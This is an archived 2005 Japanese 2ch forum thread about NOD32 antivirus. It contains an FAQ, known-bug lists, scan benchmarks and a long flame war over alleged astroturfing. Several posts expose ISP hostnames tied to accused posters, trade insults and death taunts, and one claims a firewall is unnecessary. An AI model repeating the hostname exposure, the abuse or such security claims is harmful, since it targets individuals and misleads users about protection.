NOD32アンチウィルス Part27

[表示 : 全て最新50 1-99 101- 201- 301- 401- 501- 601- 701- 801- 901- 1001- 2chのread.cgiへ]
Update time : 02/06 20:15 / Filesize : 213 KB / Number-of Response : 1002
[このスレッドの書き込みを削除する]
[＋板最近立ったスレ＆熱いスレ一覧 : ＋板最近立ったスレ／記者別一覧] [類似スレッド一覧]


↑キャッシュ検索、類似スレ動作を修正しました、ご迷惑をお掛けしました

NOD32アンチウィルス Part27

1 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 01:20:02 ]: ○公式サイト
＜キヤノンシステムソリューションズ(販売)＞[日本語]
canon-sol.jp/product/nd/index.html

＜Eset社(開発元)＞[英語]
www.nod32.com/

カカクコム「NOD32」掲示板
www.kakaku.com/bbs/Main.asp?PrdKey=03502010008

【前スレ】
NOD32アンチウィルス Part26
pc8.2ch.net/test/read.cgi/sec/1134296559/

○既知の問題点
　・UPX圧縮ファイルがNOD32のAMONと干渉
　・NOD32をWindows Server 2003で使っている一部のユーザーでsp1をあてると通信不能となり、最悪の場合リブートの繰り返しとなる。
　・一部の環境においてMicrosoft Update(Windows Update)が正常に実行出来ない現象が発生　　　　　　　　　　　　↑
この３つの問題はVer2.50.42にバージョンアップする事により回避出来ます。

>・NOD32にレジストリを破壊してOS再インストールが必要になる重大バグが発生。
>・Windows シャットダウン時にブルースクリーンになる問題
>・登録済みのアプリが強制抹消される問題
canon-sol.jp/product/nd/v20008.html
　　　　↑
●現在は問題無し。
2 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 01:20:49 ]: 【Ｑ＆ＡおよびＦＡＱ】
○まずは公式ページのQ&Aを参照しましょう
canon-sol.jp/supp/nd/
○その他 Q&A
Q.What Is N-O-D?
A.フォーラムでのその質問に対する答えです。
　www.wilderssecurity.com/index.php?board=27;action=display;threadid=15252

Q.PFW機能はありますか？
A.純粋なアンチウィルスソフトなので、ファイアーウォールは搭載してません。
　Freeで優秀なソフトがありますので、そちらをお使い下さい。
　(例：ZoneAlarm,Outpost Firewall(FREE),Sygate Personal Firewall ,Kerio Personal Firewall）

Q.やっぱりAMONが重い。*
A.AMONの「設定」で「検出」の「ファイル」-「検査を実行」 -
　「実行時」又は「オープン時」のチェックを外す。＜ただし、自己責任で＞

Q.telnetdやcvsで不具合が出た。*
A.AMONの「設定」で「検出」の「メディア」-「ネットワーク」のチェックを外す。

Q.AMONの常駐を一旦停止してから再び再開しようとすると、
「常駐保護をロードできません」と表示され、再開できない。
A.システムによってはこのような現象が起こる場合があるので、
　その場合はOSを再起動して下さい。(取説より)
　また、停止ボタンを押さずに、一時停止ボタンを利用するのも手でｼ

Q.FDのスキャンを止められない。
A.オプションのFDのスキャンと、AMON→設定→ブートセクタの検査を実行のチェックをはずす

Q.メールソフトで不都合が出た
A.IMONの詳細設定を弄くってみる。
3 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 01:22:08 ]: Q.最強のアンチウイルスが欲しいです。

A.NOD32が最強です。
4 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 01:22:11 ]: 2005年度　Virus Bulletin誌の試験結果　スキャン性能とオンアクセス性能 (全てVB100%認定品)
---------------------------------------------
　　　exeファイル　　 OLE　 exe(zip)　ole(zip) 検出性能(総合)
---------------------------------------------
AhnLab V3 Pro
　１００秒（　１倍）　　１９秒　　２１秒　１３秒　ミス=５，６５０　 2005/02 NT 4.0
　　３１秒（　１倍）　　　７秒　　９０秒　１８秒　ミス=３，２９４　 2005/06 XP
　　２６秒（　１倍）　　　８秒　　３９秒　１３秒　ミス=９，０８０　 2005/10 2003
Ｅｓｅｔ
　１０５秒（　１倍）　　１４秒　　３２秒　１６秒　完璧でした　　　2005/02 NT 4.0
　　９９秒（　３倍）　　１１秒　　４０秒　　９秒　ミス=２　　　　　 2005/06 XP
　　２７秒（　１倍）　　　３秒　　２３秒　　５秒　完璧でした　　　2005/10 2003
　　１８秒（　１倍）　　　２秒　　１３秒　　３秒　完璧でした　　　2005/12 2003 X64
Ｋａｓｐｅｒｓｋｙ
　２３９秒（　２倍）　　３０秒　　９７秒　２６秒　ミス=２　　　　　 2005/02 NT 4.0
　１１２秒（　４倍）　　１３秒　　６９秒　１７秒　ミス=２　　　　　 2005/06 XP
　１１６秒（　３倍）　　１４秒　　６２秒　１６秒　ミス=２　　　　　 2005/10 2003
　　８５秒（　５倍）　　　８秒　　４０秒　　９秒　ミス=２　　　　　 2005/12 2003 X64
ＢｉｔＤｅｆｅｎｄｅｒ
　５９１秒（　６倍）　　２０秒　１９８秒　１８秒　ミス=５５　　　　 2005/02 NT 4.0
　５０７秒（１６倍）　　　７秒　１５０秒　　８秒　ミス=２０　　　　 2005/06 XP
　４６０秒（１７倍）　　１１秒　１８９秒　１６秒　ミス=５６　　　　 2005/10 2003
Ｓｙｍａｎｔｅｃ
　２４０秒（　２倍）　　３１秒　　９１秒　２９秒　完璧でした　　　2005/02 NT 4.0
　１７３秒（　５倍）　　２１秒　　６２秒　２０秒　完璧でした　　　2005/06 XP
　１４７秒（　５倍）　　１６秒　　７２秒　１４秒　完璧でした　　　2005/10 2003
　　７９秒（　４倍）　　　７秒　　３３秒　　５秒　完璧でした　　　2005/12 2003 X64
---------------------------------------------
5 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 01:22:56 ]: av-comparatives
> ttp://www.av-comparatives.org
ここの比較も信頼性が高い、ただ、NOD32はインストーラ型をオンデマンドで検知しませんから
若干不利な結果になっています。

--------------------------テンプレここまで------------------------
6 名前：AhnLab V3 Pro ◆Kp.ie5QfJM mailto:sage [2005/12/26(月) 01:27:53 ]: あかんな～安いからこうたんやけど　こんなもん見せられたらネット繋がれへんわ　本間
7 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 01:32:52 ]: 　　　　　　　　　　　　 |//　 /　/___, -一ｧ|　　/! |ﾄ、|│　|　|　く」
　　　　　　　　　　　 |,-‐￢￣---┘'７ |!　ﾊ! |,､-┼十|!　|　| |
　　　　　　　　　 , -‐ ''"　　し' '´_ ／,ィ二l |ﾄ、/!ヽﾄ､＼_ヽ!|!l　| ﾊ |
　　　　　　　,r／　　　　　　__　　 ,イ|ﾘヾハ! ヽ!　 ,ィ⌒ヾﾐﾘﾉ!/ﾘ　 |
　　　　　／ ||ヽ　　-'　　　／￣ )｀　__　　　　　　|ヒﾉ:} '` ,ｲ/ |　 | 　>>1 乙であります！
　　　 ,r '　　ヾ､　　,-､＿___ , イ￣,r=＝-　　　　　　==-'　ﾚ' /|　 | 　　
　　／　ヽ　　　 `ーｿ　 '　|　|ﾄ､,ﾍ ′""　　　　　　　　 "" / / ||　|　　　
. ／　　　＼_　　／　　|　ﾊ　ヽ｀ﾞ'ﾍ　　　　　　 ' '__. ィ　　／ / | |　 |　　
　　　　　　／　　 /　/ |　ヽ川＼　　ヾ三ﾆ‐'′／/! |　 | |　 |
　　　　　　　 /　　　 /　/ 八　＼川| |`ト-　..　 __ , イ‐ｧﾍ |　 | ||　
8 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 01:35:33 ]: >>6
いや、そんなに落ち込まなくても・・・
NOD32が特別なだけで・・・
軽くて、スキャン速度が速いのはNOD32を除けば多かれ少なかれV3と同じような傾向になるよ。
V3はVB100認定されているから、それなりに安心して使えるアンチウィルスソフトだよ。
9 名前：AhnLab V3 Pro ◆Kp.ie5QfJM mailto:sage [2005/12/26(月) 01:41:27 ]: >>8
本間？安心したわ　そやけどＮＯＤ32はどないな結果やの？
Ｓｙｍａｎｔｅｃはええみたいやな　
10 名前：名無しさん＠お腹いっぱい。 [2005/12/26(月) 01:42:19 ]: NOD32 過去の主なトラブル履歴

2005年9月ブルースクリーンが生じてWindowsが停止する問題が再発。リリース中止。
canon-sol.jp/product/nd/nd_update.html
レジストリが破壊されてWindowsシャットダウン時にブルースクリーンとなる問題
登録済みのアプリケーションが強制削除される問題
canon-sol.jp/product/nd/v20008.html
通信不能となって最悪の場合はOSがリブートの繰り返しになる問題
canon-sol.jp/supp/nd/wndt4210.html
スキャンすると受信メールの全部が削除される問題
canon-sol.jp/supp/nd/wndt7003.html
Windowsアップデートができなくなる問題
canon-sol.jp/supp/nd/wndt4212.html
11 名前：AhnLab V3 Pro ◆Kp.ie5QfJM mailto:sage [2005/12/26(月) 01:52:49 ]: >>10
本間かいな？怖いな
12 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 02:03:28 ]: >>10
そのテンプレ、項目がかなり足りないみたい

NOD32　主なトラブル履歴

2005年9月ブルースクリーンが生じてWindowsが停止する問題が再発。リリース中止。
canon-sol.jp/product/nd/nd_update.html
レジストリが破壊されてWindowsシャットダウン時にブルースクリーンとなる問題
登録済みのアプリケーションが強制削除される問題
canon-sol.jp/product/nd/v20008.html
通信不能となって最悪の場合はOSがリブートの繰り返しになる問題
canon-sol.jp/supp/nd/wndt4210.html
スキャンすると受信メールの全部が削除される問題
canon-sol.jp/supp/nd/wndt7003.html
プリンタとの相性で印刷不能になる問題。
canon-sol.jp/supp/nd/wndt4205.html
Windowsアップデートができなくなる問題
canon-sol.jp/supp/nd/wndt4212.html
13 名前：名無しさん＠お腹いっぱい。 [2005/12/26(月) 02:06:56 ]: 価格ドットコムのクラック事件の時に流れた「早期に検出できたのはNODだけ」という誤報の顛末。

※誤報
>itpro.nikkeibp.co.jp/free/ITPro/NEWS/20050516/160933/
>5月11日時点で今回のウイルスに対応していたのは，「NOD32」という対策ソフトだけだった
>（価格コムが）NOD32の情報しか記載していなかったのは，同製品でしか検出できなかったためである

※価格自身が後になって5月4日から既に対応済みのソフトがあったと情報を訂正
>www.kakaku.com/info/200505/antivirus.html
>カスペルスキー　2005.5.4　Trojan-PSW.Win32.Delf.fz
>※1 各ソフトメーカーによってウイルスの名称や、ウイルスの定義（複数のウイルスを１つのウイルスとして
>検知するソフトもございます）は異なりますが、同様に検出が行えます。
14 名前：AhnLab V3 Pro ◆Kp.ie5QfJM mailto:sage [2005/12/26(月) 02:09:14 ]: そやけどＮＯＤ３２スレでそんなん書いてええの？ここのスレ異様やな　怖いわ
15 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 02:24:05 ]: 別に.....
散々既出ですすから
16 名前：15 mailto:sage [2005/12/26(月) 02:25:41 ]: －す
17 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 03:04:07 ]: 二人のNOD厨

NOD厨と淫厨を兼ねる
tmp5.2ch.net/test/read.cgi/tubo/1130566010/
66.102.7.104/search?q=cache:yFC7aJM6xCgJ:l-lab.org/pukiwiki/pukiwiki.php
z-temp.hp.infoseek.co.jp/2ch/Prescott699-.html
science3.2ch.net/test/read.cgi/infosys/1088029040/
mossarilog.at.infoseek.co.jp/

Qちゃん
tmp5.2ch.net/test/read.cgi/tubo/1134856761/
18 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 03:06:16 ]: 口調に注目。
またNOD厨の雑音が、他の製品スレ（Kaspersky）を200レス以上の自演で埋めていた。

>Kaspersky Lab Part5
>pc8.2ch.net/test/read.cgi/sec/1130498109/
>951 名前：名無しさん＠お腹いっぱい。　投稿日：2005/12/06(火) 01:52:56
>あと、企業によっては恐ろしく古いシステムを使いつづけてる場所もあるぞっと。

>スクープ！録音さん
>z-temp.hp.infoseek.co.jp/2ch/Prescott699-.html
>902 ： ◆Rb.XJ8VXow ：04/04/18 21:19 ID:CE6MO5Gj
>あ、887はどんな言語でもいいぞっと。
>さらに、データの読み込み部は記述ふようだぞっと。

雑音
osaknt01.ap.so-net.ne.jp
osaka-ip.dti.ne.jp

Q
usr.starcat.ne.jp
dsl.gol.ne.jp
19 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 03:18:10 ]: そろそろ寝るぞっと。
20 名前：名無しさん＠お腹いっぱい。 [2005/12/26(月) 03:32:29 ]: じゃあageときますねｗ
21 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 03:41:25 ]: > 本間？安心したわ　そやけどＮＯＤ32はどないな結果やの？
EsetがNOD32だよ。
検査性能とスキャン速度、どれを取っても一級品なのがNOD32

> Ｓｙｍａｎｔｅｃはええみたいやな
既知のウィルスに対しての防衛力は非常に高いから安心だよ。
シマンテックの泣き所は重いのとスキャン速度ん゛遅いこと。
それともう一つはヒューリスティック性能が低いことです。
22 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 05:40:16 ]: NOD32を使用しようと考えているのですが、ユーザーの方々はどのようなFWと併用しているのですか？
また組み合わせで不都合があった等も教えていただけると参考になり助かります。
23 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 05:45:29 ]: >>22
NODがあればFWはいらない
24 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 06:22:59 ]: >>23
しねよ
25 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 06:34:33 ]: >>24
脅迫ですか？
通報しますよ？
26 名前：名無しさん＠お腹いっぱい。 [2005/12/26(月) 06:44:43 ]: ＞＞22
俺の場合　ＮＯＤ32＋ＺＡ＋ＳＧアンチスパイ　これ最強

不具合　重い。。。。。。。。。。。。。。。。。　
27 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 06:52:06 ]: >>23 25
あんたクラッカーか？
そんな気がする
28 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 07:16:29 ]: >>25
FWｲﾗﾈとか逝ってるくらいだから
脅迫されるようなﾍﾀﾚじゃねぇべｗｗ
29 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 07:47:27 ]: NAPTがあればFWなんていらね！

だが、こちらから勝手にコネクション張る通信は防げない。

やっぱFWいるよね・・・
30 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 08:59:29 ]: NOD32 + ZA Pro + Spy Sweeper な漏れが来ましたよ。
31 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 10:02:44 ]: FWなんか個人で好きなの使えばいいと思うが
ESETにはこのままアンチウイルスに特化する方向でいってもらいたい
どこぞのメーカーみたいに余計な機能ごちゃごちゃつけ付けてほしくない
32 名前：31 mailto:sage [2005/12/26(月) 10:04:31 ]: 訂正：　×つけ
33 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 10:13:47 ]: 主なトラブル履歴

2005年9月ブルースクリーンが生じてWindowsが停止する問題が再発。リリース中止。
canon-sol.jp/product/nd/nd_update.html
レジストリが破壊されてWindowsシャットダウン時にブルースクリーンとなる問題
登録済みのアプリケーションが強制削除される問題
canon-sol.jp/product/nd/v20008.html
通信不能となって最悪の場合はOSがリブートの繰り返しになる問題
canon-sol.jp/supp/nd/wndt4210.html
スキャンすると受信メールの全部が削除される問題
canon-sol.jp/supp/nd/wndt7003.html
Windowsアップデートができなくなる問題
canon-sol.jp/supp/nd/wndt4212.html
34 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 10:15:19 ]: ※NOD32アンチウイルス＠避難所
yy13.kakiko.com/test/read.cgi/security/1112449961/

【動機は？】雑音犬畜生Part34【\6kの高級ｹｰｽﾏﾀﾞ?】
tmp5.2ch.net/test/read.cgi/tubo/1130566010/

【ｳﾝｺ男爵】starcatの荒し屋Ｑ別名○ 9【GJ】
tmp5.2ch.net/test/read.cgi/tubo/1120964614/

セキュリティ板に強制ID制を導入すべきか否か
etc4.2ch.net/test/read.cgi/vote/1128862102/
35 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 10:16:22 ]: で？
36 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 10:18:57 ]: スレ常連の問題行動

「NODスレに書き込むときはfusianaします」と宣言したくせに、後で運営がNODスレをログ掘りしたら、
名無しで書き込んでいたのが判明。平気で嘘をつく。

>【軽快動作】NOD32【アンチウイルスソフト】
>pc8.2ch.net/test/read.cgi/sec/1112351342/
>482 名前：雑音 p84bef5.osaknt01.ap.so-net.ne.jp　投稿日：2005/04/25(月) 10:45:08
>緊急連絡があるとき意外は書き込みませんし、書き込むときはfusianaします。

ログ掘りで分かったp84bedc.osaknt01.ap.so-net.ne.jpから名無しで投稿されたレス。
>NOD32アンチウィルス Part19.1
>pc8.2ch.net/test/read.cgi/sec/1119907260/57
>57：名前：名無しさん＠お腹いっぱい。投稿日：2005/07/03(日) 13:27:11
>あたまのおかしな人へ
>貴方の頭の中には沢山の雑音さんが住んでいるようですけど、どれが本当の雑音ですか？
>もしかしたら私も雑音？

運営のログ掘り
>qb5.2ch.net/test/read.cgi/sec2chd/1122724714/16
>名無しさん＠お腹いっぱい。<>sage<>2005/07/03(日) 13:27:11 <>あたまのおかしな人へ <>p84bedc.osaknt01.ap.so-net.ne.jp
37 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 10:19:40 ]: >NOD厨の宣言
>
>NOD32アンチウィルス Part24
>457 名前：名無しさん＠お腹いっぱい。　[sage]　投稿日：2005/11/20(日) 16:47:32
>ノートンは糞、何度でも言ってやるよｗｗ
>そこらじゅうで言ってやるぜｗｗ

>Kasperskyスレをコピペ荒らししてアク禁になったのもNOD厨だった。

>★20050705 Kaspersky荒らし報告スレ★
>qb5.2ch.net/test/read.cgi/sec2chd/1120543625/
>66 名前： ◆Wan01KGV.. 　[sage]　投稿日：2005/07/05(火) 20:39:02 ID:X6+1LwWa0
>報告>>3-32　ログ>>33-63
>starcat.ne.jp 296res
>
>規制>>64
>starcat.ne.jp 規制
>
>68 名前：AirRock ★　[sage]　投稿日：2005/07/05(火) 22:41:48 ID:*********0
>67
>規制＠全サーバ No.2
>qb5.2ch.net/test/read.cgi/sec2ch/1095552678/309 2005/07/05(火) 22:40:57
38 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 10:20:13 ]: 雑音
osaknt01.ap.so-net.ne.jp
osaka-ip.dti.ne.jp

Q
usr.starcat.ne.jp
dsl.gol.ne.jp
39 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 10:21:13 ]: 881 名前：名無しさん＠お腹いっぱい。[] 投稿日：2005/12/11(日) 16:34:12
スパイウェアに対する検出力評価
ttp://www.infoworld.com/article/05/09/19/38FEspy_1.html
1位　F-Secure
2位　Webroot
3位　LANDesk
4位　Sunbelt
5位　SurfControl
6位　McAfee
7位　Trend Micro
8位　eTrust
9位　NOD32 v2.5

884 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/11(日) 16:36:41
>>881
それ、アンチスパイ専門ソフトとの比較だろ?
比較されるだけでもNOD32が優秀なアンチスパイ機能を備えている証明だよ。

889 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/11(日) 16:42:58
>>884
いつからF-Secureが「アンチスパイ専門ソフト」になったんだ？
教えてくれ。

920 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/11(日) 17:12:00
>>917
元々が総合セキュリティ(アンチスパイウェア含む)製品なんだよ。
お前の無知を私に押し付けるなって。

936 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/11(日) 17:20:04
>>931
「アンチスパイ専門ソフト」と「総合セキュリティ(アンチスパイウェア含む)製品」が
同じわけないだろw
40 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 14:15:42 ]: まーた、始まった！
41 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 15:08:34 ]: 【NOD32 過去スレ・関連スレ】

全て雑音 pd3fc89.osaknt01.ap.so-net.ne.jpが立てたと思われるものです。

基地外を監視するスレッド pc3.2ch.net/test/read.cgi/sec/1079537409/
NOD32ユーザーが真性荒しに抗議するスレッド pc3.2ch.net/test/read.cgi/sec/1077542746/
NODユーザーが真性荒しに抗議するスレッド２ pc3.2ch.net/test/read.cgi/sec/1077986298/
NOD32ユーザーの避難所 pc3.2ch.net/test/read.cgi/sec/1077978450/
NOD32アンチウィルス Part11 pc.2ch.net/test/read.cgi/sec/1077223928/
NOD32アンチウィルス Part11' pc3.2ch.net/test/read.cgi/sec/1077458776/
NOD32アンチウィルス Part11'' pc3.2ch.net/test/read.cgi/sec/1078240913/
エヌ・オー・ディ32アンチウィルス Part11 pc3.2ch.net/test/read.cgi/sec/1078857941/
エヌ・オー・ディ32アンチウィルス Part11' pc.2ch.net/test/read.cgi/sec/1079599411/
NOD32アンチウィルス Part12 pc3.2ch.net/test/read.cgi/sec/1079631120/
Part12 アンチウィルスソフト NOD32 pc3.2ch.net/test/read.cgi/sec/1079668865/
NOD32隔離専門板　Part1 pc3.2ch.net/test/read.cgi/sec/1070200779/
NOD32アンチウィルス Part13 pc3.2ch.net/test/read.cgi/sec/1082135327/
【マターリ】 N O D 3 2 スッドレ Part1 【雑談】 pc3.2ch.net/test/read.cgi/sec/1082380268/64
Nemocnica na Okraji Disku pc3.2ch.net/test/read.cgi/sec/1082643902/
セキュリティ板自治議論スレッド３（自治スレを装った悪質な重複スレ） ttp://pc3.2ch.net/test/read.cgi/sec/1077454735/
42 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 16:51:11 ]: なんでIDださんの？
４回くらい逝ったほうがいいと思うよ
43 名前：名無しさん＠お腹いっぱい。 [2005/12/26(月) 17:10:33 ]: 昼間っからキチガイターイム！冬休み最高！
44 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 19:17:26 ]: >>30
重くね？PestPatrolの方がいいべ
45 名前：名無しさん＠お腹いっぱい。 [2005/12/26(月) 19:50:09 ]: あの糞フト大賞を使ってる基地外がいたのか。
46 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 20:01:01 ]: IMON使ってると
Gyaoの本編が再生されないんだけど、どうにか対処できない？
たぶん1.1339(20051224)からだと思うんだけど。
On Off繰り返して使ってます。。
47 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 20:19:33 ]: ウチじゃ問題なくできてる。
自分の低脳スキルをNODのせいにするのは間違ってるな>>46
48 名前：名無しさん＠お腹いっぱい。 [2005/12/26(月) 20:26:32 ]: ＞＞47
( ´,_ゝ`)ﾌﾟｯ
49 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 20:41:44 ]: ウチでも問題ない。
自分の低脳スキルをNODのせいにするのは間違ってるぞ>>46
50 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 20:52:02 ]: 正規購入品ならサポートに聞け

割れなら氏ね♪

★★★★★★★★★糸冬了★★★★★★★★★
51 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 21:09:09 ]: >>45
死ね
52 名前：名無しさん＠お腹いっぱい。 [2005/12/26(月) 21:12:42 ]: このスレにいる奴全員割れだろｗ
図々しいんだよｗ
53 名前：名無しさん＠お腹いっぱい。 [2005/12/26(月) 21:30:14 ]: 我とは限らないのでは…
渡来版繰り返して使っている方もいるでしょうし…
54 名前：名無しさん＠お腹いっぱい。 [2005/12/26(月) 21:44:10 ]: ぶっちゃけ割れ座も体験版乞食も目糞鼻糞
55 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 22:05:38 ]: >> セキュリティ板自治議論スレッド 3
>> pc8.2ch.net/test/read.cgi/sec/1081589145/856

856 名前：NODスレを荒らしてる犯人はコイツ! 投稿日：2005/06/12(日) 07:44:25
>>851-852=

115 名前：”削除”依頼[sage] 投稿日：2005/05/26(木) 23:40:37 HOST:218.231.112.137.eo.eaccess.ne.jp
削除対象アドレス：pc8.2ch.net/test/read.cgi/sec/1117016317/
削除理由・詳細・その他：6.重複（誘導68）
1がマルチコピペ+私怨の書き込みでできており、まともなスレッド進行にならないため。

121 名前：”削除”依頼[] 投稿日：2005/06/10(金) 00:30:10 HOST:218.231.112.67.eo.eaccess.ne.jp
削除対象アドレス：pc8.2ch.net/test/read.cgi/sec/1118262514/
削除理由・詳細・その他：6.重複（誘導10）
1がマルチコピペ+私怨の書き込みでできており、まともなスレッド進行にならないため。

【eo.eaccess.ne.jp】
　　　↑
本スレとたてられているスレに対して執拗に削除依頼を繰り返している。
56 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 22:07:37 ]: ウイルスセキュリティスレの自演荒らしはNOD厨だった。

>pc8.2ch.net/test/read.cgi/sec/1119543099/ 【ウイルスセキュリティ　Part13】
>>524 名前：p84bedc.osaknt01.ap.so-net.ne.jp　投稿日：2005/06/28(火) 01:21:52
>ほんじゃ～最後にＶＳに付いてプロからのコメントを残しておくぞ。
>
>tmp5.2ch.net/test/read.cgi/tubo/1117805574/【雑音犬畜生Part29】
>>757 名前：p84bedc.osaknt01.ap.so-net.ne.jp 投稿日：2005/07/03(日) 22:38:02 ID:CpVgWHbQ
> 私を叩くと称して荒らし放題。
>
>「私を叩くと称して荒らし放題。」つまり本人が、雑音=p84bedc.osaknt01.ap.so-net.ne.jpと認める。
57 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 22:10:25 ]: ノートン叩き工作の犯人もNOD厨だった。

【ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ Ver.75】
>27：名無しさん＠お腹いっぱい。：2005/10/21(金) 21:22:37
>ノートンスレは常にNOD厨の工作投稿で一杯なので、初めて来た人は注意が必要です。
>Ver73スレのように1日で400レスほども大量に書き込むことも珍しくありません。

>284 名前：281　[sage]　投稿日：2005/10/24(月) 14:55:32
>自治スレで話題になっていたので、録.音が投稿しているというサイト↓を見に行ってきたよ。やはりそこでも嫌われてた。
>ttp://higaitaisaku.com/cgi-bin/cbbs.cgi?mode=one&namber=4410&type=0&space=0&no=2
>そこで用いられているハンドルをインタネ検索してみたところ、教えて！goo掲示板にて、
>ある時は中年窓際会社員として、ある時は車の整備士として、離婚相談からアンチウイルス選びまで
>大活躍をしていることを知った。
>
>ttp://oshiete1.goo.ne.jp/kotaeru.php3?q=1034093
>無理にそう言った重いソフトでチェックしなくても他のチェックサイトを試されてはいかがでしょうか？
>こちらを紹介しますのでシマンテック以外を選択されてチェックしてみてください。
>蛇足ですがこちらのウィルス対策ソフトは非常に軽くて使いやすくて
>本当にいいです、私が使っています。
>体験版がありますので一度使ってみてください。（ttp://canon-sol.jp/product/nd/index.html）
>
>ttp://oshiete1.goo.ne.jp/kotaeru.php3?q=1025032
>実は私もあなたと同じようにここの掲示板で似たような質問をして
>紹介してもらったのは、N.OD32と言うウィルスソフトです。
>これは本当に軽くて使いやすい！
>NISに比べるとウィルスソフトが入っている事がウソのように感じます。
>N.OD32、キャノンのサイトです。（体験版があります。）
>ただしこれはウィルスソフトだけですからファイアーウォールソフトは別に用意する必要があります。
>それもここの掲示板で教えていただいたのですが、Outpost Firewall と言うフリーのソフトです。
58 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 22:11:25 ]: ウイルスバスター叩き工作の犯人もNOD厨だった。

深刻な被害を受けている善良なバスターユーザーの心からの訴え。

311 名前：VB2006　[sage]　投稿日：2005/10/26(水) 12:36:49
【2005使いも】ウイルスバスター2006 Part1【歓迎】
pc8.2ch.net/test/read.cgi/sec/1129946596/
ですが、荒らしがひどくて困ってます。
2006にアップグレードしたばかりで、みんなは本当の情報をほしがっているのに
どうにもなりません。
おそらく同一個人みたいなのですが、NODと比較して重いとか、VBアンインスコしたら
ニートの弟が働きだしたとか、もう手がつけられませんよ。
何とかなりませんか？
59 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 22:12:21 ]: ---------------テンプレ終了---------------------
60 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 22:26:36 ]: >>50
試用中なわけだが。
おれにスキルがないのは分かったから
スキルがある人がどう使ってるのか
教えてください＞＜
61 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 22:29:43 ]: >>59
×---------------テンプレ終了---------------------

○---------------コピペ荒らし終了---------------------
62 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 22:34:01 ]: >>59
テンプレども。＾＾
なんか足りないと思ってた。
63 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 22:43:54 ]: >>62=コピペ荒らし

自演乙
64 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 22:58:26 ]: >>46
> IMON使ってると
> Gyaoの本編が再生されないんだけど、どうにか対処できない？
回線が貧弱過ぎるか、PCが貧弱、又は設定値を弄って動かない設定にした貴方自身の問題。
回避策は、IMONのHTTPタブ内の自動パッシブモードへの切り替え設定値わ小さくすると良い。
設定値を弄っているのならデフォルト値に、PCが貧弱なら512kb　30秒程度に回線が貧弱過ぎるのなら自動パッシブをOFFに。
65 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 23:05:29 ]: >>58
勝手にNOD厨のせいだと決め付けるのは良くない。
というか、見ていると犯人はお前に思えてくるのが不思議だ。

良識がある人なら、こんなところへそんな煽り投稿などせず、荒らし報告スレを立てているよ。
66 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 23:09:41 ]: まあこれから楽しみなのは冬厨VS基地害かな。
67 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 23:11:35 ]: NODの人たちは無実だと思う。
NODの人たちの投稿を冷静に読めば、豊富な知識を持っていることが分かるから。
68 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/26(月) 23:13:17 ]: 自画自賛乙ｗ
